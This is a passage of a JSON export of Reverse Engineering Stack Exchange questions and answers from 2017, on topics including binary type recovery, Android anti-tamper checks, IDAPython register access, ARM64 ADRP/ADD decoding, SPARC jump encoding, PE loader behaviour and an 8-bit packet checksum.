href=\"https://reverseengineering.stackexchange.com/questions/287/how-to-recover-variables-from-an-assembly-code\"><em>variable recovery</em></a>. Both are difficult problems and the subject of research.</p>\n\n<p>The notion of variables and types does not exist in object code. A variable name is a label that is given a memory address which corresponds to the data located at that address. While type information is necessary for the compiler to evaluate syntatical and semantic correctness of source code, object code that is executed directly by the CPU does not preserve this information (at least not directly). </p>\n\n<blockquote>\n  <p>The type recovery task, which gives a high-level type to each variable, is more challenging. Type recovery is challenging because high-level types are typically thrown away by the compiler early on in the compilation process. Within the compiled code itself we have byte-addressable memory\n  and registers. For example, if a variable is put into eax, it is easy to conclude that it is of a type compatible with 32-bit register, but difficult to infer high-level types such as signed integers, pointers, unions, and structures. </p>\n  \n  <p>Current solutions to type recovery take either a dynamic\n  approach, which results in poor program coverage, or use unprincipled heuristics, which often given incorrect results. Current static-based tools typically employ some knowledge about well-known function prototypes to infer parameters, and then use proprietary heuristics that seem to guess the type of remaining variables such as locals. <sup><a href=\"https://users.ece.cmu.edu/~dbrumley/pdf/Lee,%20Avgerinos,%20Brumley_2011_TIE%20Principled%20Reverse%20Engineering%20of%20Types%20in%20Binary%20Programs.pdf\" rel=\"nofollow noreferrer\">3</a></sup></p>\n</blockquote>\n\n<p>Different decompilers take different approaches to this class of problems. Here is the approach taken by TIE (Type Inference on Executables):</p>\n\n<p><a href=\"https://i.stack.imgur.com/7mTNY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7mTNY.png\" alt=\"TIE approach to type inference\"></a> </p>\n\n<p>Hex-rays discusses their approach in their whitepaper, <a href=\"https://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf\" rel=\"nofollow noreferrer\">Decompilers and beyond</a>.</p>\n\n<hr>\n\n<p><sub>1. <a href=\"https://en.wikipedia.org/wiki/Calling_convention\" rel=\"nofollow noreferrer\">Calling convention</a> (Wikipedia)</sub></p>\n\n<p><sub>2. <a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling\" rel=\"nofollow noreferrer\">x86 Assembly Guide</a> (It should be noted that the term \"parameter\" is used incorrectly - it should be \"argument\")</sub></p>\n\n<p><sub>3. <a href=\"https://users.ece.cmu.edu/~dbrumley/pdf/Lee,%20Avgerinos,%20Brumley_2011_TIE%20Principled%20Reverse%20Engineering%20of%20Types%20in%20Binary%20Programs.pdf\" rel=\"nofollow noreferrer\">TIE: Principled Reverse Engineering of Types in Binary Programs</a></sub></p>\n"
    },
    {
        "Id": "15394",
        "CreationDate": "2017-05-21T03:07:15.247",
        "Body": "<p>I'm reverse engineering an Android app, and it has some kind of anti-tamper protection. The problem is that I can't find it anywhere in the smali files.</p>\n\n<p>Even if I just re-sign the official APK that I downloaded straight from the Play Store, it detects that it has been tampered with, so it must either be checking file sizes or signatures. I've grepped all the smali files for things like \"signature\" and \"getPackageInfo\" to try and find where it's getting the signature from, but I cannot find anything.</p>\n\n<p>What other methods are there to figure out if the APK has been re-signed, even when nothing else has been altered? It is not using SafetyNet.</p>\n",
        "Title": "Anti-tampering techniques in Android APK's",
        "Tags": "|android|java|apk|dalvik|",
        "Answer": "<p>Your best bet is to just start reading through the code and see everything it does. It almost certainly is checking signatures, just in a way that your search missed. That could be because it is using an API you didn't search for, or because the code is obfuscated, or because you messed up the search. Note that there are a lot of APIs that could be used to get information about the app. For example, it could be using the JarFile getResource() API. The most reliable method is to just read the code.</p>\n\n<p>Also don't forget to look in the native code, if any! You can check whether the app is using native code by looking in the libs folder. This is a bit of a longshot though, since most programmers are too lazy to write native code. If they are doing the checks in native code, it's probably an off the shelf packer/obfuscator.</p>\n\n<p>For completeness, I should mention that there are several features of an app that depend on its signature. For example, it could be using a signature based permission or a shared userid, each of which would break if you resigned the app. I've never heard of these being used for tamper detection though.</p>\n"
    },
    {
        "Id": "15396",
        "CreationDate": "2017-05-21T11:07:32.473",
        "Body": "<p>I'm trying to write a Python script for IDA that hooks into debugging events, and prints some info about the xmm registers. I tried</p>\n\n<pre><code>idc.GetRegValue(\"xmm0\")\n</code></pre>\n\n<p>But that returns a random long, which changes every time I call the function. I looked at the <a href=\"https://github.com/idapython/src/blob/62ddab8db6929edbea8d2016e4659cf7cc62aa88/python/idc.py#L7906\" rel=\"nofollow noreferrer\">source</a>, and it looks like <code>GetRegValue</code> is always returning an integer value.</p>\n\n<p>So I tried running the underlying code directly:</p>\n\n<pre><code>rv = idaapi.regval_t()\nidaapi.get_reg_val(\"xmm0\", rv)\nprint (rv.fval)\n</code></pre>\n\n<p>Which prints:</p>\n\n<pre><code>&lt;Swig Object of type 'UINT16 *' at 0x073E1F08&gt;\n</code></pre>\n\n<p>There does not appear to be a way to extract a float from that either.</p>\n\n<p>So how do I actually get the value of an xmm register?</p>\n",
        "Title": "Accesssing xmm registers in IDAPython",
        "Tags": "|idapython|",
        "Answer": "<pre><code>rv = idaapi.regval_t()\nidaapi.get_reg_val(\"xmm0\", rv)\nprint (rv.bytes().encode('hex'))\n</code></pre>\n\n<p>This will give you the raw 256 bit value of the xmm0 register. Depending on how the program you're debugging is using the register, this might contain various things. In my case, the code I'm debugging uses it as 4 floating point values. To parse them:</p>\n\n<pre><code>import struct\nprint(struct.unpack('ffff', rv.bytes()))\n</code></pre>\n\n<p>if your debuggee is using the register as two doubles, you would use 'dd' instead of 'ffff'.</p>\n\n<p>In general, look up the SDK documentation instead of the (not very good) IDAPython documentation. Here's the relevant page for this: <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/structregval__t.html\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/sdkdoc/structregval__t.html</a></p>\n"
    },
    {
        "Id": "15407",
        "CreationDate": "2017-05-23T02:13:17.087",
        "Body": "<p>I have a closed source Linux library libfoo that makes calls into another closed source library libbar for additional (mostly unneeded) features. However, I can't use libbar for ethical reasons, so I am trying to make a dummy library libfakebar that \"implements\" as little as possible of libbar while still being able to be used as a drop-in replacement (i.e., as close as possible to a collection of stubs).</p>\n\n<p>I initially tried to simply extract the defined symbols from libbar via <code>nm -D --defined-only libbar.so</code> and only create stubs for those symbols, referencing the available public documentation for the appropriate function signatures.  However, this fails when libfoo attempts to make calls that are not based on symbols.  Specifically, it calls <code>BarInstance()</code> in libbar to get a pointer to a C++ class instance, adds a seemingly arbitrary value to that pointer, then uses the value found at the new address as a pointer to the next function it calls.  Here is an example demonstrating this:</p>\n\n<pre><code>callq  0x7fff97158300 &lt;BarInstance@plt&gt;\nmov    (%rax),%r8\nlea    0x96c165(%rip),%rcx        # 0x7fff97b50e65\nmov    %ebp,%edx\nmov    %r12d,%esi\nmov    %rax,%rdi\ncallq  *0x28(%r8)\n</code></pre>\n\n<p>I can't understand how this is supposed to make sense or be \"legal\" code.  Remarkably, if I make <code>BarInstance()</code> return a collection of pointers to stub functions instead of a class instance, libfoo runs without complaints and everything \"works\".  Unfortunately, it's not quite good enough to meet my minimum functionality requirements as there is at least one feature I need that doesn't work with said stubs, and the strange calling behaviour of libfoo doesn't lend itself towards helping me understand what more may need to be added where.</p>\n\n<p>I'm not sure what impact this may make, but it appears as though libbar was built using GCC's <code>-fvisibility=hidden</code>.  I have not been able to figure out exactly what to make of the above calling behaviour and as such what I need to do in libfakebar in order to properly replicate whatever is necessary for libfoo's code to work as expected - what's going on here?</p>\n",
        "Title": "Determining an application's library call behaviour",
        "Tags": "|disassembly|x86|linux|c++|libraries|",
        "Answer": "<p>This appears to be fairly typical virtual function call where the pointer to the virtual function table is stored in the object at offset <code>0000</code> and the call is to the function pointed to at offset <code>0028</code> in the table.</p>\n\n<p>The object's virtual function table pointer (at offset <code>0000</code>) is initialized in the class constructor.  Since the constructor will be in the library, there does not need to be any direct reference to the virtual function table in the calling code.\nSimilarly, a normal call to virtual function is via the virtual function table and there is no need for any direct reference to it in the calling code either.</p>\n\n<p>For consistency between the application and library, it is important that both </p>\n\n<ul>\n<li>the library header file(s) used for the compilation of the application match the library binary, and</li>\n<li>the compiler used to compile the application uses the same <a href=\"https://en.wikipedia.org/wiki/Application_binary_interface\" rel=\"nofollow noreferrer\">Application Binary Interface</a> as that used to compile the library.</li>\n</ul>\n\n<p>For more information about this you might want to read about <a href=\"https://gcc.gnu.org/onlinedocs/gcc/Compatibility.html\" rel=\"nofollow noreferrer\">binary compatibility</a>. </p>\n\n<p>One of the things specified by an ABI is the order of the functions in the virtual function table.  For example, the Itanium C++ ABI (used by GCC) says </p>\n\n<blockquote>\n  <p>\"The order of the virtual function pointers in a virtual table is the order of declaration of the corresponding member functions in the class.\"</p>\n</blockquote>\n\n<p>Hence, if the declaration order were to change between building the library and building the application there will no longer be binary compatibility.</p>\n"
    },
    {
        "Id": "15414",
        "CreationDate": "2017-05-23T19:53:13.147",
        "Body": "<p>I have a number of protobuf files but no .proto schema file!</p>\n\n<p><code>cat myfile.pbuf | protoc --decode_raw &gt; outputfile.txt</code></p>\n\n<p>Using the above command, I was able to decode the file into a somewhat readable protobuf format (<a href=\"https://stackoverflow.com/questions/25898230/decoding-protobuf-without-schema\">Thanks</a>):</p>\n\n<pre><code>1: 1\n2: \"\"\n2 {\n  1: 0x40133f7ced916873\n  2: 0x3ff70e5604189375\n  3: 0xbfd23d70a3d70a3d\n  4: 0x3fb999999999999a\n}\n2 {\n  1: 0x4022e7ef9db22d0e\n  2: 0x4006ed916872b021\n  3: 0xbfe1cac083126e98\n  4: 0x3fc999999999999a\n}\n2 {\n  1: 0x402bdcac083126e9\n  2: 0x40111374bc6a7efa\n  3: 0xbfe9fbe76c8b4396\n  4: 0x3fd3333333333333\n}\n2 {\n  1: 0x40324147ae147ae1\n  2: 0x401696872b020c4a\n  3: 0xbff0e147ae147ae1\n  4: 0x3fd999999999999a\n}\n...\n</code></pre>\n\n<p>I know without the schema I cannot know the meaning of these values, but I am wondering if there is anything else I can do to deduce what this strangeness is!  The <a href=\"https://developers.google.com/protocol-buffers/docs/encoding\" rel=\"nofollow noreferrer\">protobuf documentation</a> seems to indicate that numerical data is served in 2 or 4 byte chunks, which I could easily convert to ints or floats.</p>\n\n<p>My data does not fit into this format, but I know it to be numerical data!  I've never seen a protobuf file with the hex <code>x</code> notation, and there are 16 bytes (way too many for a single number!).</p>\n\n<p><strong>What datatype might this be, is it possible to decode and further without the schema, and are the <code>1, 2, 3, 4</code> useful or significant?</strong></p>\n",
        "Title": "Deducing Protobuf Schema and Datatypes",
        "Tags": "|file-format|python|encodings|protocol|",
        "Answer": "<p>I suspect these are IEEE doubles. For example, 0x3fd3333333333333 is 2.99999999999999988897769753748E-1, or around 0.3. I used <a href=\"http://www.binaryconvert.com/convert_double.html?hexadecimal=3fd3333333333333\" rel=\"nofollow noreferrer\">this converter</a> to check </p>\n"
    },
    {
        "Id": "15418",
        "CreationDate": "2017-05-24T11:53:55.563",
        "Body": "<p>Hello reverse engineers,</p>\n\n<p>I'm analysing a fat Macho-O binary, and it has an ADRP and an ADD instruction in it.\nI'm talking about these instructions:</p>\n\n<pre><code>__text:00000001002E050C                 ADRP            X8, #some_function@PAGE\n__text:00000001002E0510                 ADD             X8, X8, #some_function@PAGEOFF\n</code></pre>\n\n<p>The ADRP instruction has the bytes \"08 00 00 90\".</p>\n\n<p>The ADD instruction has the bytes \"08 61 0D 91\"\nHow could I get the value out of the 2 instructions?\nThis is my program to calculate the address of some_function:\nIt should sign extend a 21-bit offset, shift it left by 12, and add it to PC with the 12 bottom bits cleared.\nThen I should get the last 12 bits from the ADD instruction, and add it to this value.</p>\n\n<pre><code>    int instr = 0x90000008;\n    //int instr = 0x80000090;\n    int value = 0x1fffff &amp; instr;\n    int mask = 0x100000;\n    if(mask &amp; instr)\n    {\n            value += 0xffe00000;\n    }\n    printf(\"value : %08x\\n\", value);\n    value = value &lt;&lt; 12;\n    printf(\"value : %08x\\n\", value);\n    int instr2 = 0x910d6108;\n    //int instr2 = 0x08610d91;\n    value += (instr2 &amp; 0xfff); //get the last 12 bits from instr2\n    printf(\"value : %08x\\n\", value);\n</code></pre>\n\n<p>After executing the instructions, the value 00000001002E0358 should be in X8, because that is the address of the function we want to calculate.\nThe output of my program is:</p>\n\n<pre><code>value : 00000008\nvalue : 00008000\nvalue : 00008108\n</code></pre>\n\n<p>What am I doing wrong?</p>\n\n<p>Conclusion: I was reading the wrong ARM manual.\nThe official AArch64-manual from ARM is the one you should use.</p>\n\n<p>The final code :</p>\n\n<pre><code>    const int tab32[32] = {\n     0,  9,  1, 10, 13, 21,  2, 29,\n    11, 14, 16, 18, 22, 25,  3, 30,\n     8, 12, 20, 28, 15, 17, 24,  7,\n    19, 27, 23,  6, 26,  5,  4, 31};\n\n    int log2_32 (uint32_t value)\n    {\n        value |= value &gt;&gt; 1;\n        value |= value &gt;&gt; 2;\n        value |= value &gt;&gt; 4;\n        value |= value &gt;&gt; 8;\n        value |= value &gt;&gt; 16;\n        return tab32[(uint32_t)(value*0x07C4ACDD) &gt;&gt; 27];\n    }\n\n    uint64_t get_page_address_64(uint64_t addr, uint32_t pagesize)\n    {\n            int bits_page_offset;\n            bits_page_offset = log2_32(pagesize);\n            return (addr &gt;&gt; (bits_page_offset - 1)) &lt;&lt; (bits_page_offset - 1);\n    }\n\n    uint64_t get_adrp_add_va(unsigned char *adrp_loc, uint64_t va){\n        uint32_t instr, instr2, immlo, immhi;\n        int32_t value;\n        int64_t value_64;\n        //imm12 64 bits if sf = 1, else 32 bits\n        uint64_t imm12;\n        instr = *(uint32_t *)adrp_loc;\n        immlo = (0x60000000 &amp; instr) &gt;&gt; 29;\n        immhi = (0xffffe0 &amp; instr) &gt;&gt; 3;\n        value = (immlo | immhi) &lt;&lt; 12;\n        //sign extend value to 64 bits\n        value_64 = value;\n        //get the imm value from add instruction\n        instr2 = *(uint32_t *)(adrp_loc + 4);\n        imm12 = (instr2 &amp; 0x3ffc00) &gt;&gt; 10;\n        if(instr2 &amp; 0xc00000)\n        {\n                imm12 &lt;&lt;= 12;\n\n        }\n        return get_page_address_64(va, PAGE_SIZE) + value_64 + imm12;\n    }\n</code></pre>\n",
        "Title": "getting function address by reading ADRP and ADD instruction values",
        "Tags": "|ida|assembly|arm|ios|mach-o|",
        "Answer": "<p>For the first instruction (<code>0x90000008</code>) it matches the opcode below for PC relative addressing instruction.</p>\n\n<p><a href=\"https://i.stack.imgur.com/VLGfS.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/VLGfS.png\" alt=\"pc-relative addressing opcode\"></a></p>\n\n<p><code>0x90000008 = 0b10010000000000000000000000001000</code> so we have op=1 (ADRP), immlo=0, immhi=0 and Rd=8 (X8). The  instruction decodes to <code>ADRP X8, #0</code>. This is going take the current page the instruction pointer is at, add 0&lt;&lt;12, and store in register <code>X8</code> so you would have</p>\n\n<p><code>X8 = page_address_of(0x00000001002E050C) + 0&lt;&lt;12 = 0x00000001002E0000</code></p>\n\n<p>The next instruction <code>0x910d6108</code> matches the instruction for ADD/SUBTRACT immediate.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ev9fK.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Ev9fK.png\" alt=\"add/sub opcode\"></a></p>\n\n<p><code>0x910d6108 = 0b10010001000011010110000100001000</code> so we have sf=1 (64-bit variant), op=0 (add), S=0 (non-saturating), shift=0 (LSL #0), imm12=0x358, Rn=8 (X8), Rd=8 (X8).</p>\n\n<p>It decodes to <code>ADD X8, X8, #0x358</code> which would add 0x358 to X8 so you would have</p>\n\n<p><code>X8 = X8 + 0x358 = 0x00000001002E0358</code></p>\n"
    },
    {
        "Id": "15420",
        "CreationDate": "2017-05-25T05:33:19.680",
        "Body": "<p>I using Windows, and I was wondering what is the best anti anti debug plugin that exist,\nI tried to use hidedebug by Bob -> Team PEiD, but unfortunately it catch only the regular ways, I know that some of you will send me to the documents of all functions, but I'm looking for something that will make my life easier.\nP.S:\nI'm trying to debug just for fun and not for work :)\nThanks ahead.</p>\n",
        "Title": "Immunity debugger anti anti debug",
        "Tags": "|disassembly|windows|anti-debugging|immunity-debugger|",
        "Answer": "<p>You can try <a href=\"https://github.com/x64dbg/ScyllaHide\" rel=\"nofollow noreferrer\">ScyllaHide</a>. There is no plugin for Immunity Debugger, but there is one for OllyDbg and that should make it trivial to port. Alternatively you can see <a href=\"https://reverseengineering.stackexchange.com/a/15451/2221\">this answer</a> on how to hide any process with ScyllaHide regardless of the debugger you're using.</p>\n"
    },
    {
        "Id": "15440",
        "CreationDate": "2017-05-28T21:47:26.177",
        "Body": "<p>I was checking <a href=\"http://wjradburn.com/software/\" rel=\"nofollow noreferrer\">PEview.exe</a> image section headers and I didn't find the .txt section, but i found code section instead, it means it was developed using Delphi, right?</p>\n",
        "Title": "Was PEview developed using Delphi?",
        "Tags": "|delphi|",
        "Answer": "<p>Nope ... Here's the environement used to develop it <a href=\"http://www.godevtool.com/\" rel=\"nofollow noreferrer\">GoDevTool</a>. Given what I read about the GoDevTool, it looks it might have been written in 32bit Windows assembly which was interfaced with a Go API.</p>\n"
    },
    {
        "Id": "15443",
        "CreationDate": "2017-05-29T19:19:12.117",
        "Body": "<p>I was analysing Lab01-02.exe from Practical Malware Analysis book, the exe is packed with upx, since it showed UPX0, 1, 2 in the header section when analyzed with PEview, but when I open the same exe with PE Explorer is showed the regular header section (.txt .data ... )\nDose PE Explorer unpack packed files before analyze it? what if I want to view the packed exe with PE Explorer?</p>\n",
        "Title": "Dose PE Explorer unpack upx executables?",
        "Tags": "|static-analysis|unpacking|packers|upx|",
        "Answer": "<p>The <a href=\"http://www.heaventools.com/overview.htm\" rel=\"nofollow noreferrer\">product overview of PE Explorer</a> states in several places that it will load PE files that are compressed with UPX.</p>\n\n<blockquote>\n  <p>Open UPX-, Upack- and NsPack-compressed files seamlessly in PE Explorer, without long workarounds</p>\n</blockquote>\n"
    },
    {
        "Id": "15446",
        "CreationDate": "2017-05-30T18:28:38.367",
        "Body": "<p>I am trying to figure out the encoding for unconditional JMPs on SPARC, i.e the JMP. After disassembling a few binaries.</p>\n\n<p>In my IDA disassembly the encoding for JMP %g1 is:</p>\n\n<pre><code>81 c0 40 00 \n</code></pre>\n\n<p>Digging through the spark manuals, I can't seem to find a record of how this is encoded. I am also confused as to why IDA refers to a \"JMP\" as opposed to the \"JMPL\" in the docs. </p>\n\n<p>The JMPL encoding recommendations given in the SPARC9 manual are a little arcane to me and I struggle with what they are getting at:</p>\n\n<pre><code>10-RD-OP3-RS1-i-[-]-rs2 \n</code></pre>\n\n<p>or </p>\n\n<pre><code>10-RD-OP3-RS1-i-siMM3\n</code></pre>\n\n<p>\"If either of the low-order two bits of the jump address is nonzero, a mem_address_not_aligned\nexception occurs\"</p>\n\n<p>Well, I'm not sure how that squares with the instruction that IDA found. Can someone break down how this maps to JMP %g1? How would this change for JMP %g2? </p>\n",
        "Title": "What is the encoding format for unconditional Jumps on SPARC/SPARC64?",
        "Tags": "|encodings|sparc|assembly|",
        "Answer": "<p>81 c0 40 00 can be broken down as follows</p>\n\n<pre><code>    \n10 00000 111000 00001 0 0000000000000\n\n^--op1\n   ^--rd\n         ^--op3\n                ^--rs1\n                      ^--i\n                         ^--rs2/simmm13\n</code></pre>\n\n<p>To change the target from %g1 to %g2, just change the rs1 field from 00001 to 00010.</p>\n\n<p>The 'L' is simply an artifact of at&amp;t syntax vs intel syntax. In at&amp;t syntax, the instruction name encodes information about the argument size. In intel syntax, that's done via the decorating of arguments.</p>\n"
    },
    {
        "Id": "15457",
        "CreationDate": "2017-05-31T17:04:14.867",
        "Body": "<p>I have a large c++ program and I have found a pointer to an object of interest. I want to be able to identidy that object by atleast the constructor. What are some methods I can use to identify the constructor when the object's constructor is \"nowhere in sight\", i.e., it's far back in the program flow?</p>\n",
        "Title": "Identifying structures in C++",
        "Tags": "|disassembly|c++|",
        "Answer": "<p>I would like to expand a bit on the previous answer after I have learned some more about decompilation.\nThere are two principle types of objects in c++ (on MS Windows, that is). Those two are objects with vtables and objects without vtables.</p>\n\n<p>In objects without vtables, identifying them is definitely more tricky, but on the plus side, these are usually either very big structures that are declared at compile time, or small structures that are constructed within the scope of the function. So you can either tell the object apart by it's constructor or it's address in the memory. Or at the very least, locally constructed objects without vtables aren't too many function calls behind.</p>\n"
    },
    {
        "Id": "15472",
        "CreationDate": "2017-06-03T08:45:53.887",
        "Body": "<p>I do malware analysis on Windows. I run hundreds of Windows PEs per day and it is actually relatively common for a file to not run (or sometimes not run on just one specific version of Windows) and I get an error message such as \"This is not a valid Win32 application.\" However, when I open the file in a hex editor, it does have the MZ, PE signature, and even the sections intact. Also, programs such as PE Explorer can open the file fine and claim that it's a valid PE file, without even having to open it in \"safemode\" for example. <em>Note that I am NOT talking about error messages concerning 64 bit on a 32 bit version of Windows, as that is self-explanatory.</em></p>\n\n<p>Below is a screenshot of one such file. This file, however, has no DOS stub at all and the DOS header data structures are all set to 0 except for e_lfanew which does point to a PE sig. However, the Windows loader says it's not a valid Win32 app at least on my version of Win7 64bit.</p>\n\n<p><a href=\"https://i.stack.imgur.com/lSk8A.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/lSk8A.png\" alt=\"enter image description here\"></a></p>\n\n<p>I do know that the loader essentially reads the data structures and from that, it does things such as allocate stack and heap memory, determine which symbols are needed and from which DLL files, as well as a few other tasks. So my assumption based off of that would be that if for example, one of these header data structures told the loader to do something that made no sense such as allocate negative space, too much space, or contained nonsense in a structure that was critical for the loader to work, it could crash it. However, this is just speculation on my part.</p>\n",
        "Title": "What PE anomalies can crash the Windows Loader or cause a file to not load?",
        "Tags": "|windows|malware|pe|",
        "Answer": "<p>There are many ways in which the loader can fail to load a seemingly valid file.  There are differences in rules for 32-bit and 64-bit architectures, for example.  The most obvious of those is the minimum file size.</p>\n\n<p>Then there are differences in rules between different versions of Windows.  In older versions, critical data such as the import table could be placed in the file header.  This is no longer the case.</p>\n\n<p>An alignment requirement for the PE header was introduced.  The rules changed for where the PE header can appear in the file.  The rules changed for the maximum number of sections in a file.</p>\n\n<p>The rules also changed for section alignment, section order, and overlapping sections, among other things.</p>\n\n<p>The full list of what was changed and how it changed would be very long and detailed, depending on how many versions of Windows are being considered.</p>\n\n<p>Without having your file in hand, it isn't clear why the file won't load.</p>\n"
    },
    {
        "Id": "15476",
        "CreationDate": "2017-06-04T00:28:12.437",
        "Body": "<p>One of the threads I have discovered in my reading about learning how to reverse engineer is to write \"small\" c programs compile them and then disassemble them to see how the c code gets translated into assembly.</p>\n\n<p>I am working on windows 7 64-bit, and have had problems getting visual studio installed. When I select one of the visual studio command prompts the environment never gets set correctly so the compilers are not available.</p>\n\n<p>So my question is:\nShould I install mingw, mingw-w64, or cygwin to provide the best environment for this kind of testing/learning?</p>\n",
        "Title": "best c compiler on windows for reversing",
        "Tags": "|compilers|",
        "Answer": "<p>Kris Kaspersky's (RIP) book called Hacker Disassembly Uncovered (freely available in chm format, just google for it) has a whole chapter just on that topic - he shows different code snippets (starting with really simple ones and then goes to floating points, virtual functions tables and other C++ constructs) under different compilers and does a line-by-line disassembly with in-depth insights.</p>\n\n<p>This book does exactly what you're asking for.</p>\n"
    },
    {
        "Id": "15479",
        "CreationDate": "2017-06-04T14:16:47.257",
        "Body": "<p>While trying to understand a behavior of TestNG I found my self disassembling the .class files. During that, I accidentally noticed that the official binary differs from the one built manually from source and from the source itself.</p>\n\n<p>The reason I disassembled the binaries was just to prove that the binary really lacks local variable tables (and for fun), since I was unable inspecting local variables.</p>\n\n<ul>\n<li>Project: <a href=\"https://github.com/cbeust/testng.git\" rel=\"nofollow noreferrer\">https://github.com/cbeust/testng.git</a></li>\n<li>Artifact Version / Tag: 6.11</li>\n<li>Source File: <a href=\"https://github.com/cbeust/testng/blob/6.11/src/main/java/org/testng/TestNG.java\" rel=\"nofollow noreferrer\"><code>TestNG.java</code></a> (Official Repository)</li>\n<li>Class File: <a href=\"https://repo.maven.apache.org/maven2/org/testng/testng/6.11/testng-6.11.jar\" rel=\"nofollow noreferrer\"><code>TestNG.class</code> in testng-6.11.jar</a> (repo.maven.apache.org)</li>\n<li>Used JDK: OpenJDK 1.8.0 131</li>\n</ul>\n\n<p>I built the source from the project repository at Tag 6.11. using Gradle.</p>\n\n<p>In the first place I inspected both using <code>javap -l -p TestNG.class</code>, writing the output into two separate files and diffing the resulting descriptions. So far so good.</p>\n\n<p>Then, for fun, I disassembled both class files using these commands:</p>\n\n<pre><code>javap -c -p /tmp/TestNG.mvn.class &gt; /tmp/TestNG.mvn.java\njavap -c -p /tmp/TestNG.mine.class &gt; /tmp/TestNG.mine.java\n</code></pre>\n\n<p>Then I diffed both and accidently found the private field <code>m_executionListeners</code> to be missing. </p>\n\n<pre><code>--- /tmp/TestNG.mvn.java      2017-06-03 23:12:16.005211337 +0200\n+++ /tmp/TestNG.mine.java     2017-06-03 23:12:08.245208191 +0200\n@@ -92,6 +92,8 @@\n\n   protected long m_start;\n\n+  private final java.util.Map&lt;java.lang.Class&lt;? extends org.testng.IExecutionListener&gt;, org.testng.IExecutionListener&gt; m_executionListeners;\n+\n</code></pre>\n\n<p>(No, its declaration did not just move around, it's gone.)</p>\n\n<p>So I thought it could be some kind of compiler optimization. But it is actually referenced and accessed two times. This is one access:</p>\n\n<pre><code>public void addListener(ITestNGListener listener) {\n   if (listener == null) {\n     return;\n   }\n   if (listener instanceof ISuiteListener) {\n     ISuiteListener suite = (ISuiteListener) listener;\n     maybeAddListener(m_suiteListeners, suite.getClass(),  suite);\n   }\n   // ...\n   if (listener instanceof IExecutionListener) {\n     IExecutionListener execution = (IExecutionListener) listener;\n     maybeAddListener(m_executionListeners, execution.getClass(), execution);\n   }\n   // ...\n }\n</code></pre>\n\n<p><a href=\"https://github.com/cbeust/testng/blob/6.11/src/main/java/org/testng/TestNG.java#L723\" rel=\"nofollow noreferrer\">See the source</a></p>\n\n<p>All other fields that run through the <code>instanceof</code> check, type cast and <code>maybeAddListener()</code> call are still present.</p>\n\n<p>Am I right, with my conclusion, that the binary has not been built from the (supposed-to-be) related source? Or what it going on here?</p>\n",
        "Title": "Disassembled Java class file differs from Source",
        "Tags": "|java|bin-diffing|",
        "Answer": "<p>You are correct that the binary does not match the tagged source. It does, however, match the changes made in commit <a href=\"https://github.com/cbeust/testng/commit/6cfc6b4a403f8487d9fa96aa3d42db7848c8755a\" rel=\"noreferrer\">6cfc6b4a403f8487d9fa96aa3d42db7848c8755a</a>, which was made on February 25, one day after the most recent commit tagged 6.11 and before the most recent merge commit in 6.11. </p>\n\n<p>I can only speculate, but it seems likely that their local version of 6.11 includes an extra commit or two that they accidentally left out of the tag on Github.</p>\n"
    },
    {
        "Id": "15484",
        "CreationDate": "2017-06-05T19:10:10.253",
        "Body": "<p>I'm trying to find out, how the checksumming in an RS485 communication works.\nThe data is packetized and seems to be using 8bit checksums. </p>\n\n<p>One packet per line, the last byte that isn't 0x00 seems to be the checksum.</p>\n\n<p>I've been able to generate this data which is incrementing continuously. </p>\n\n<p>0xAA at the beginning is the preamble of the packet, so that probably isn't part of the checksum. </p>\n\n<pre><code>aa1c01010439000000000000000002a600001429000025caff000000d8000000\naa1c01010439000000000000000002a600001429000025ca00000000d9000000\naa1c01010439000000000000000002a600001429000025cb00000000da000000\naa1c01010439000000000000000002a600001429000025cc00000000db000000\naa1c01010439000000000000000002a600001429000025cd00000000dc000000\naa1c01010439000000000000000002a600001429000025ce00000000dd000000\naa1c01010439000000000000000002a600001429000025cf00000000de000000\naa1c01010439000000000000000002a600001429000025d000000000df000000\naa1c01010439000000000000000002a600001429000025d100000000e0000000\naa1c01010439000000000000000002a600001429000025d200000000e1000000\naa1c01010439000000000000000002a600001429000025d300000000e2000000\naa1c01010439000000000000000002a600001429000025d400000000e3000000\naa1c01010439000000000000000002a600001429000025d500000000e4000000\naa1c01010439000000000000000002a600001429000025d600000000e5000000\naa1c01010439000000000000000002a600001429000025d700000000e6000000\naa1c01010439000000000000000002a600001429000025d800000000e7000000\naa1c01010439000000000000000002a600001429000025d900000000e8000000\naa1c01010439000000000000000002a600001429000025da00000000e9000000\naa1c01010439000000000000000002a600001429000025db00000000ea000000\naa1c01010439000000000000000002a600001429000025dc00000000eb000000\n</code></pre>\n\n<p>I have some more data, but that has much more going on in it: \n<a href=\"https://gist.github.com/Manawyrm/0167fec375d3756dda19c750998f34fc\" rel=\"nofollow noreferrer\">https://gist.github.com/Manawyrm/0167fec375d3756dda19c750998f34fc</a></p>\n\n<p>I have tried a simple XOR and CRC8 implementation, and have tried every offset for the start of the data. </p>\n\n<p>Can someone recognize the checksum algorithm used here? It seems relativly simple, because the checksum is incrementing together with the data. </p>\n\n<p>Thanks,\nTobias</p>\n",
        "Title": "Simple 8bit checksum",
        "Tags": "|crc|xor|",
        "Answer": "<p>It is a plain byte sum.</p>\n\n<p>for the last line:</p>\n\n<pre><code>aa+1c+01+01+04+39+00+00+00+00+00+00+00+00+02+a6+00+00+14+29+00+00+25+dc\n=\n02EB\n</code></pre>\n"
    },
    {
        "Id": "15500",
        "CreationDate": "2017-06-07T09:07:38.443",
